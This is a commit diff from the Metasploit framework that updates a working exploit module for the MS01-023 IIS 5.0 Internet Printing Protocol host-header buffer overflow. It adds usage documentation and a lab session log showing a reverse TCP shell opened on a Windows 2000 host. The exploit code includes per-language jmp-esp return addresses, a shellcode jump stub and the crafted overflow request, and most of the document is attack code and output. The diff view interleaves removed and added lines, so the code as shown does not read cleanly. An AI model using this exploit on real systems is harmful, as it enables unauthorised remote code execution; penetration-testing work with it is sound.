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ms01_023_printer: cleanup; use HttpClient; add additional targets
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‎documentation/modules/exploit/windows/iis/ms01_023_printer.md

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## Vulnerable Application
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This exploits a buffer overflow in the request processor of the
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Internet Printing Protocol ISAPI module in IIS. This module
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works against Windows 2000 Server and Professional SP0-SP1.
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If the service stops responding after a successful compromise,
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run the exploit a couple more times to completely kill the
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hung process.
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This module has been tested successfully on:
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* Windows 2000 Professional SP0 (Dutch)
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* Windows 2000 Professional SP0 (Finnish)
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* Windows 2000 Professional SP0 (Greek)
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* Windows 2000 Professional SP0 (Korean)
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* Windows 2000 Professional SP0 (Turkish)
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* Windows 2000 Professional SP1 (Arabic)
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* Windows 2000 Professional SP1 (Czech)
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* Windows 2000 Professional SP1 (English)
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* Windows 2000 Professional SP1 (Greek)
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* Windows 2000 Server SP0 (Chinese)
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* Windows 2000 Server SP0 (Dutch)
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* Windows 2000 Server SP0 (English)
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* Windows 2000 Server SP0 (German)
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* Windows 2000 Server SP0 (Hungarian)
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* Windows 2000 Server SP0 (Italian)
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* Windows 2000 Server SP0 (Portuguese)
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* Windows 2000 Server SP0 (Spanish)
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* Windows 2000 Server SP0 (Turkish)
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* Windows 2000 Server SP1 (English)
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* Windows 2000 Server SP1 (French)
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* Windows 2000 Server SP1 (Swedish)
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## Verification Steps
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1. `use exploit/windows/iis/ms01_023_printer`
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1. `set RHOSTS [IP]`
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1. `show targets` to see the possible targets
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1. `set TARGET [TARGET]`
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1. `set PAYLOAD windows/shell/reverse_tcp`
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1. `set LHOST [IP]`
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1. `run`
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## Options
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## Scenarios
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### Windows 2000 Professional SP1 (EN)
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```
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msf6 > use exploit/windows/iis/ms01_023_printer
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[*] Using configured payload windows/shell/reverse_tcp
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msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
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rhosts => 192.168.200.195
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msf6 exploit(windows/iis/ms01_023_printer) > check
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[*] 192.168.200.195:80 - The target appears to be vulnerable.
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msf6 exploit(windows/iis/ms01_023_printer) > show targets
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Exploit targets:
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Id Name
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-- ----
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0 Windows 2000 SP0-SP1 (Arabic)
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1 Windows 2000 SP0-SP1 (Czech)
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2 Windows 2000 SP0-SP1 (Chinese)
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3 Windows 2000 SP0-SP1 (Dutch)
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4 Windows 2000 SP0-SP1 (English)
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5 Windows 2000 SP0-SP1 (French)
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6 Windows 2000 SP0-SP1 (Finnish)
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7 Windows 2000 SP0-SP1 (German)
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8 Windows 2000 SP0-SP1 (Korean)
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9 Windows 2000 SP0-SP1 (Hungarian)
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10 Windows 2000 SP0-SP1 (Italian)
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11 Windows 2000 SP0-SP1 (Portuguese)
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12 Windows 2000 SP0-SP1 (Spanish)
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13 Windows 2000 SP0-SP1 (Swedish)
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14 Windows 2000 SP0-SP1 (Turkish)
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15 Windows 2000 Pro SP0 (Greek)
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16 Windows 2000 Pro SP1 (Greek)
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msf6 exploit(windows/iis/ms01_023_printer) > set target 4
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target => 4
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msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
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payload => windows/shell/reverse_tcp
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msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
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lhost => 192.168.200.130
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msf6 exploit(windows/iis/ms01_023_printer) > run
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[*] Started reverse TCP handler on 192.168.200.130:4444
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[*] Using target: Windows 2000 SP0-SP1 (English) ...
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[*] Encoded stage with x86/shikata_ga_nai
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[*] Sending encoded stage (267 bytes) to 192.168.200.195
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[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
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Shell Banner:
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Microsoft Windows 2000 [Version 5.00.2195]
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-----
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C:\WINNT\system32>ver
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ver
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Microsoft Windows 2000 [Version 5.00.2195]
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```

‎modules/exploits/windows/iis/ms01_023_printer.rb

+100-75
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
88

9-
include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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1111
def initialize(info = {})
12-
super(update_info(info,
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'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
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'Description' => %q{
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This exploits a buffer overflow in the request processor of
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the Internet Printing Protocol ISAPI module in IIS. This
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module works against Windows 2000 service pack 0 and 1. If
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the service stops responding after a successful compromise,
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run the exploit a couple more times to completely kill the
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hung process.
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},
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'Author' => [ 'hdm' ],
23-
'License' => MSF_LICENSE,
24-
'References' =>
25-
[
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super(
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update_info(
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info,
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'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
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'Description' => %q{
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This exploits a buffer overflow in the request processor of the
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Internet Printing Protocol ISAPI module in IIS. This module
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works against Windows 2000 Server and Professional SP0-SP1.
20+
21+
If the service stops responding after a successful compromise,
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run the exploit a couple more times to completely kill the
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hung process.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2001-0241'],
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[ 'OSVDB', '3323'],
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[ 'BID', '2674'],
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[ 'MSB', 'MS01-023'],
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[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
3133
],
32-
'Privileged' => false,
33-
'Payload' =>
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{
35-
'Space' => 900,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
37-
'StackAdjustment' => -3500,
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'Privileged' => false,
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'Payload' => {
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'Space' => 900,
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'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
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'StackAdjustment' => -3500
3839
},
39-
'Targets' =>
40-
[
41-
[
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'Windows 2000 English SP0-SP1',
43-
{
44-
'Platform' => 'win',
45-
'Ret' => 0x732c45f3,
46-
},
47-
],
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'Targets' => [
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# jmp esp @ compfilt.dll
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[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
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[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
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[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
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[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
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[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
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[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
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[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
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[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
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# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
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[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
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[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
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[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
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[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
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[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
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[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
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[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
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# jmp esp @ ws2_32.dll
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[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
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[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
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],
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'Platform' => 'win',
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'DisclosureDate' => '2001-05-01',
51-
'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
56-
])
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'Arch' => [ARCH_X86],
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'Platform' => 'win',
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'DefaultOptions' => {
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'PAYLOAD' => 'windows/shell/reverse_tcp'
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},
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'Notes' => {
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'Reliability' => [REPEATABLE_SESSION],
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'Stability' => [CRASH_SERVICE_DOWN],
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'SideEffects' => [IOC_IN_LOGS]
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},
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'DefaultTarget' => 4,
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'DisclosureDate' => '2001-05-01'
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)
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)
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register_options([
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Opt::RPORT(80)
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])
5781
end
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def check
61-
connect
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sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
63-
resp = sock.get_once
64-
disconnect
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66-
if !(resp and resp =~ /Error in web printer/)
67-
return Exploit::CheckCode::Safe
68-
end
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connect
71-
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp and resp =~ /locked out/)
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print_status("The IUSER account is locked out, we can't check")
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return Exploit::CheckCode::Detected
78-
end
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80-
if (resp and resp.index("HTTP/1.1 500") >= 0)
81-
return Exploit::CheckCode::Vulnerable
82-
end
83-
84-
return Exploit::CheckCode::Safe
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res = send_request_cgi({
85+
'uri' => '/NULL.printer',
86+
'version' => '1.0'
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})
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return CheckCode::Unknown('Connection failed') unless res
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return CheckCode::Safe unless res.code == 500
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# Error response is language dependent: "<b>Error in web printer install.</b>"
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return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
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res = send_request_cgi({
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'uri' => '/NULL.printer',
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'vhost' => rand_text_alpha(257),
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'version' => '1.0'
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})
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return CheckCode::Unknown('Connection failed') unless res
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return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
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return CheckCode::Safe unless res.code == 500
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return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
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CheckCode::Appears
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end
86107

87108
def exploit
88-
connect
109+
print_status("Using target: #{target.name} ...")
89110

90-
buf = make_nops(280)
91-
buf[268, 4] = [target.ret].pack('V')
111+
buf = make_nops(268)
112+
buf << [target.ret].pack('V')
113+
buf << make_nops(8)
92114

93115
# payload is at: [ebx + 96] + 256 + 64
94-
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
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buf << "\x80\xc1\x40" # add cl, 64
96-
buf << "\x80\xc5\x01" # add ch, 1
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buf << "\xff\xe1" # jmp ecx
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sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
100-
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handler
102-
disconnect
116+
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
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buf << "\x80\xc1\x40" # add cl, 64
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buf << "\x80\xc5\x01" # add ch, 1
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buf << "\xff\xe1" # jmp ecx
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res = send_request_cgi({
122+
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
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'version' => '1.0'
124+
}, 5)
125+
126+
# It is expected that we receive no reply. A reply indicates exploit failure.
127+
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
103128
end
104129
end

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